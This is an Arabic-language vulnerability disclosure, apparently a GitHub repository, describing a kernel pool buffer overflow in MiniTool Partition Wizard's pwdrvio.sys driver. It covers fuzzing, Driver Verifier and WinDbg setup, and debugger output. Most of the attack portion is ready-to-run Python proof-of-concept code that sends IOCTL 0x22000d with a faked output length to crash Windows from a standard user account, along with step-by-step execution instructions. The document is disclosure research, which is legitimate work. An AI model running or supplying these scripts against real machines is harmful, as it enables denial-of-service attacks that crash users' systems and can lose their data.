
تاريخ المشروع : فبراير 2026 / تم اكتشاف ثغرة تجاوز سعة المخزن المؤقت في معالج IOCTL لبرنامج تشغيل النواة. تسمح الثغرة لمهاجم محلي غير مميز بإتلاف ذاكرة تجمع النواة، مما يؤدي إلى تعطل فوري للنظام (BSOD) ورفض الخدمة.
تاريخ المشروع: فبراير 2026 / تم اكتشاف ثغرة تجاوز سعة المخزن المؤقت في معالج IOCTL لبرنامج تشغيل النواة pwdrvio.sys. تسمح الثغرة لمهاجم محلي غير مميز بإتلاف ذاكرة تجمع النواة، مما يؤدي إلى انهيار فوري للنظام (BSOD) ورفض الخدمة.
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
رفض الخدمة (DoS)
الخطورة: متوسطة
درجة CVSS 3.1: 5.5 (DoS)
سلسلة ناقل CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Hتجاوز سعة المخزن المؤقت — رفض الخدمة (CVSS 5.5 - متوسطة)
متطلبات الهجوم:
نتائج الاستغلال: DoS - انهيار فوري للنظام وعدم توفر الخدمة
التاريخ: 5 فبراير 2026
النشاط: فحص منهجي لبرنامج تشغيل النواة باستخدام Fuzzer مخصص بلغة Python
عملية الاكتشاف:
اختيار الهدف:
pwdrvio.sys كأقدم برنامج تشغيل (الطابع الزمني: 16 يونيو 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0الـ Fuzzing الأولي:
ctypes للتفاعل مع برنامج التشغيلWriteFile/DeviceIoControl إلى جهاز برنامج التشغيلتفعيل المدقق:
verifier /standard /driver pwdrvio.sys
إعدادات المدقق:
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
التاريخ: 5-6 فبراير 2026
النشاط: إنشاء بيئة تصحيح أخطاء النواة لتحليل السبب الجذري
إجراء الإعداد:
إعداد المنفذ التسلسلي في VMware:
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
إعداد نظام التشغيل الضيف:
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
اتصال WinDbg من المضيف:
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
Result: "Kernel Debugger connection established."
التاريخ: 6 فبراير 2026
النشاط: تحديد أولية كتابة نواة عشوائية (arbitrary kernel write primitive)
خطوات التحليل:
تحليل الوحدة:
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
اكتشاف التعليمات البرمجية الثغرة:
تعيين نقطة توقف على معالج الكتابة:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
النتيجة الحرجة: تم تحديد أولية كتابة عشوائية!
RAX) إلى العنوان [R11-0x10]R11 من إطار المكدس: mov r11, qword ptr [rbp+0xB8h]التاريخ: 6-7 فبراير 2026
النشاط: تتبع الثغرة من Use-After-Free إلى حالة write-what-where
سلسلة تلف الذاكرة:
تخصيص IRP:
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
علاقة المخزن المؤقت:
0: kd> r rsi
rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
التحليل: المخزن المؤقت للمستخدم ليس قابلًا للوصول مباشرة من إطار RBP
RBP+0xB8 لا تشير إلى مخزن مؤقت يتحكم فيه المستخدمحالة Use-After-Free:
يحتفظ برنامج التشغيل بمؤشرات معلقة (dangling pointers) في بنية IRP:
// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
التاريخ: 8 فبراير 2026
النشاط: اكتشاف ثغرة رفض خدمة مستقلة
الاكتشاف:
فحص IOCTL بالـ Fuzzing:
0x22000d كونه ثغرةآلية الانهيار:
# Vulnerable parameters
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
سلوك برنامج التشغيل:
مخرجات المدقق:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
الموقع: معالج IOCTL الخاص بـ pwdrvio.sys
IOCTL الثغرة: 0x22000d
آلية الاستغلال:
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # Only 4 bytes!
fake_output_length = 8192 # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)
# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # ← Overflow!
ctypes.byref(bytes_returned), None)
سلوك الانهيار:
مع تفعيل Driver Verifier:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted
Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)
Process triggering crash: python.exe (standard user)
بدون Driver Verifier:
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000
Result: Blue Screen of Death
الكود:
import ctypes
from ctypes import wintypes
# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[!] MiniTool DoS...")
# 1. Connect Driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Couldnt Connect.")
return
# 2. Preperation
# IOCTL from Fuzzer
TARGET_IOCTL = 0x22000d
# Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
in_size = 1024
input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
# Output Trap: Standard 4 byte, 8192 byte in Driver
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192
bytes_returned = wintypes.DWORD(0)
print("[+] Wait for BSoD...")
# 3. Loop (Pool Corruption)
while True:
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
in_size,
real_output_buffer,
fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow
ctypes.byref(bytes_returned),
None
)
if __name__ == "__main__":
trigger_bsod()
الاستغلال:
PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py
بيئة الاختبار:
الأدوات المطلوبة:
الخطوة 1: التحقق من تثبيت برنامج التشغيل
C:\> sc query pwdrvio
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
الخطوة 2: تفعيل Driver Verifier (اختياري لكن مُوصى به)
REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys
REM Verify configuration
C:\> verifier /query
Verifier Flags: 0x001209bb
Standard Flags:
[X] 0x00000001 Special pool
[X] 0x00000002 Force IRQL checking
[X] 0x00000008 Pool tracking
[X] 0x00000010 I/O verification
[X] 0x00000020 Deadlock detection
[X] 0x00000080 DMA checking
[X] 0x00000100 Security checks
[X] 0x00000800 Miscellaneous checks
[X] 0x00020000 DDI compliance checking
Driver Verification List:
MODULE: pwdrvio.sys (load: 1 / unload: 0)
REM Reboot for verifier to take effect
C:\> shutdown /r /t 0
الخطوة 3: إنشاء سكربت استغلال DoS
احفظه باسم dos_exploit.py:
import ctypes
from ctypes import wintypes
# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD,
wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID,
wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[*] MiniTool pwdrvio.sys DoS Exploit")
print("[*] Triggering Blue Screen of Death...")
# Open device
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Failed to open driver")
print("[-] Ensure MiniTool Partition Wizard is installed")
return
print("[+] Driver opened successfully")
# Vulnerable IOCTL code
TARGET_IOCTL = 0x22000d
# Input buffer: 1024 bytes of 0xFF
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
# Output buffer: Only 4 bytes (but claim 8192!)
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value → Overflow!
bytes_returned = wintypes.DWORD(0)
print("[!] Sending malicious IOCTL...")
print("[!] System will crash in 3...2...1...")
# Trigger buffer overflow → BSOD
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
1024,
real_output_buffer,
fake_output_length, # ← Vulnerability trigger
ctypes.byref(bytes_returned),
None
)
# This line will never execute
print("[*] If you see this, the exploit failed")
if __name__ == "__main__":
trigger_bsod()
الخطوة 4: تنفيذ الاستغلال (مستخدم عادي)
C:\> whoami
desktop-lfkkhu2\standard_user
C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...
[System immediately crashes with BSOD]
النتيجة المتوقعة:
شاشة زرقاء برمز الإيقاف:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
أو
SYSTEM_SERVICE_EXCEPTION (3b)
التحقق: يؤكد انهيار النظام وجود ثغرة رفض الخدمة
برنامج MiniTool:
Product: MiniTool Partition Wizard
Version: 13.5
Installation Path: C:\Program Files\MiniTool Partition Wizard
Driver Path: C:\Windows\System32\drivers\pwdrvio.sys
Driver Date: June 16, 2009 (0x4A36F8D1)
Driver Size: 32,256 bytes
أدوات الاختبار:
WinDbg Version: 10.0.29507.1001 AMD64
Python Version: 3.x with ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard flags)
المنتج الرئيسي:
تفاصيل برنامج التشغيل:
File Name: pwdrvio.sys
File Version: [Not available]
File Size: 32,256 bytes (31.5 KB)
Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature: [Signed by vendor]
Device Name: \\.\PartitionWizardDiskAccesser\0
Service Name: pwdrvio
Load Order: Boot Start (SERVICE_BOOT_START)
منتجات MiniTool الأخرى التي قد تستخدم نفس برنامج التشغيل:
ملاحظة: يجب اختبار كل منتج على حدة للتأكيد.
تم اختباره وتأكيد تأثره:
من المحتمل أن يكون متأثرًا (غير مختبر):
السبب: برنامج التشغيل متوافق مع جميع إصدارات Windows الحديثة ولا يحتوي على فحوصات خاصة بإصدار معين.
تم توفير هذا المستودع لأغراض التعليم والبحث الأمني الدفاعي وإعادة إنتاج الثغرات بشكل صارم في بيئات مختبرية خاضعة للتحكم. تهدف المعلومات وكود إثبات المفهوم إلى مساعدة المدافعين والباحثين والبائعين على فهم الثغرة المبلغ عنها ومعالجتها. قد ينتهك الاستخدام غير المصرح به أو الخبيث لهذا الكود ضد الأنظمة دون إذن صريح القوانين واللوائح المعمول بها. لا يشجع المؤلف النشاط غير القانوني ولا يتغاضى عنه، ولا يتحمل أي مسؤولية عن إساءة الاستخدام أو الأضرار الناجمة عن هذه المادة.
يُقدَّم تقرير الإفصاح عن الثغرة هذا من أجل:
الاستخدامات المحظورة:
أجرى الباحث جميع الاختبارات على أنظمة مملوكة له شخصيًا في بيئات خاضعة للتحكم. ولم يتم تنفيذ أي وصول غير مصرح به إلى أنظمة أطراف ثالثة.
إصدار التقرير: 1.0
آخر تحديث: 9 فبراير 2026
تحليل حالة السجلات:
0: kd> r
rax=fffff805315f1364 ← Kernel code pointer
r11=ffffe60f84c38750 ← Destination address (controlled via stack)
rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here